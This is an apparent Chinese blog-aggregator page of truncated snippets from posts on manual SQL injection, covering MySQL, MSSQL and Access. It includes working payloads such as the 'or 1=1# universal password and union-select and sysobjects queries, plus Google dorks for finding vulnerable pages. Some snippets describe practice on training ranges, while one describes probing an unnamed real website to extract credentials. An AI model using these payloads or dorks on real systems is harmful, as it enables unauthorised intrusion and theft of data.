一、POST注入首先要明确注入攻击的本质是：将用户输入的数据当做代码来执行。
前提条件
用户能够控制输入
原本程序要执行的代码拼接上用户输入的数据然后执行
传参类型：传参一般有两种，一种是post另一种就是get
post注入就是使用post进行传参。本质上来说与get没有区别。
高危注入点
登录框、查询框等各种与数据库进行交互的框
万能密码
'or 1=1#
万能
sql盲注 目录sql盲注绪论**SQL注入时为什么有时候没有回显，结合php说说？****与盲注相关的函数**：**实例-sqllab的第八关** （基于布尔盲注）：**实例-sqllab的第九关**（基于时间盲注）：补充：**盲注代码层面** 绪论在SQL注入过程中，SQL语句执行后，选择的数据不能回显到前端页面，此时需要利用一些方法进行判断或者尝试，这个过程称之为盲注。 在盲注中，攻击者根据
sql注入的原理：因为对用户输入的数据过滤不严格，导致用户输入的数据传到了数据库中，和数据库的语句拼接能够执行sql命令，sql注入的本质其实就是执行sql语句。注入的思路：1.寻找与数据库有交互的点，例如在浏览器框中?后面的参数中例如：http://www.baidu.com?cc=2一般出现在：删除、登录、注册、搜索框.......... 感觉有增删改查的数据的地方都存在sql注入
正确的手工入侵方法1.判断有无注入点' ; and 1=1 and 1=22.猜表: 常见的表:admin adminuser user pass password 等..and 0<>(select count(*) from
转载
精选
2013-06-21 11:35:43
457阅读
http://www.zzzz/community/board_list.asp?code=005&id=13 and 1=2 union all (select top 1 1,2,3,4,name,6,7,null,null,null,null,null,null,null,null,null,null,null,null,null from master.dbo.sysdatabas
原创
2014-03-19 17:37:03
813阅读
要进行手工注入的前提是你已经知道了目标数据库类型。可以使用 -云悉- 或者 -SQLMAP- 来确认数据库。 知道了数据库之后我们...
原创
2022-07-19 10:46:26
62阅读
前言今天进行了access手工注入，下面是我的实战过程和总结。实战环境使用的是墨者学院的在线靶场。下面咱们直接进入主题。判断注入点通过‘ 或者 and 1=1 和 and 1=2 是否报错，如下图。接下来咱们输入 and 1=2 发现报错了，说明存在注入点。如下图。猜数据库表名在access数据库中，打开里面直接就是表，所以我们只能猜表名，通过这条语句 and exists (select * f
原创
2021-04-27 18:32:35
1036阅读
作者:DragonEgg
一：注入点的判断
当我们在URL后特殊字符或语句，使其报错时，若在返回的信息中有类似“[Microsoft][ODBC SQL Server Driver][SQL Server]”的字样，关键在于：“Microsoft”和“SQL Server”，就可以判断出目标为MSSQ
转载
2024-03-06 11:28:41
36阅读
01_SQL注入_Mysql注入:利用联合查询的手工注入1.SQL注入的成因 遵纪守法，做合格网民！！！！开发过程中，一些开发者会直接将URL的参数，POST方法的参数等一些列外来输入的参数拼接到SQL语句中。上述做法会造成SQL语句的可控，从而使得测试者能够通过执行SQL语句，实现一些自定义操作。$id=$_GET['id'];$fp=fopen('result.txt','a');fwrite
转载
2024-01-05 10:39:29
95阅读
前言今天进行了MySQL手工注入实战，分享一下自己的实战过程和总结，这里环境使用的是墨者学院的在线靶场。话不多说，咱们直接开始。判断注入点通过 ' 和构造 and 1=1 和 and 1=2 查看页面是否报错。这里通过and 1=1 发现页面正常。如下图。 接下来，咱们再构造 and 1=2 发现页面报错，说明页面存在注入点。如下图。 判断字段数通过 order by 语句，如果后面输入的数字大于
原创
2021-04-27 18:22:42
1766阅读
点赞
sql手工注入语句&SQL手工注入大全来自：http://vlambda.com/wz_7iE52mmBhpE.html
转载
2020-08-11 23:51:43
861阅读
点赞
1.判断是否有注入;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and user>0
3.注入参数是字符'and [查询条件] and ''='
4.搜索时没过滤参数的'and [查询条件] and '%25'='
5.判断数据库系统;and (select count(*) from sysobjects)>0 mssql;and (select c
推荐
原创
2007-05-18 04:44:25
2272阅读
点赞
3评论
1.判断是否有注入;and 1=1 ;and 1=22.初步判断是否是mssql ;and user>03.注入参数是字符’and [查询条件] and ”=’4.搜索时没过滤参数的’and [查询条件] and ‘%25′=’5.判断数据库系统 ;
转载
精选
2010-08-18 20:14:48
625阅读
今天想实际做一下mysql手工注入，于是找到了某某网站 首先在URL后加一个' 报错，说明这个网站可能含有sql注入漏洞，可以进行下一步的测试 目的就是看看能不能直接爆出用户名密码 先用order by看一下这个字段数量 使用and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8 fro
原创
2016-11-27 19:56:08
660阅读
site:xx.cn inurl:asp?id= //找文章
xx.cn/pth/onews.asp?id=243' //试注入
xx.cn/pth/onews.asp?id=243 order by 10
xx.cn/pth/onews.asp?id=243 order by 20 //order by 语句用于根据指定的列(字段)对结果集进行排序,这里是在爆字段长度
爆出字段长度为11
联合
转载
2014-05-21 22:13:00
176阅读
2评论
注入依赖（DI）：
Setter方法
注入：
<!--setter
注入-->
<bean id=
"person" class="org.cric.action.Person">
<property name="size"><value>A4</value></property>
<
错误注入错误注入是一种SQL注入类型，用于使SQL语句报错的语法，用于注入结果无回显但错误信息有输出的情况。公鸡者可以通过报错信息来获取敏感信息。常用的三种报错注入函数是extractvalue、updatexml和floor。报错注入的原理是通过构造恶意的SQL语句，使其在执行时报错，从而获取错误信息。公鸡者可以通过不断尝试构造不同的SQL语句，来获取更多的敏感信息。在渗tou测试中，当我们没有
原创
2023-12-19 10:36:59
191阅读
php+mysql的注入 已经流行了就久，可团队中却还没有关于php注入 因此也就有我写这篇文章的动力了，同时我会结合一些自己平时的经验，希望能够让大家对php注入 有个更加深刻的理解。一 ***的前奏假设我们的注入点是http://www.online-tools.cn/test.php?id=1 (1)爆物理路径 1 这时通常我们在后面加个非法字符（比如单引号等等)，很有可能会爆出物理路径
转载
2024-01-09 21:54:32
63阅读
手工注入方法：在谷歌里输入关键字：inurl:encomphonorbig.asp?id=手工注入教程：1、www.google.com.hk搜索：inurl:encomphonorbig.asp?id=2、判断注入点：and 1=1 and 1=2 存在漏洞3、判断数据库：' ; ;-- and len('a
原创
2013-07-16 11:05:16
955阅读
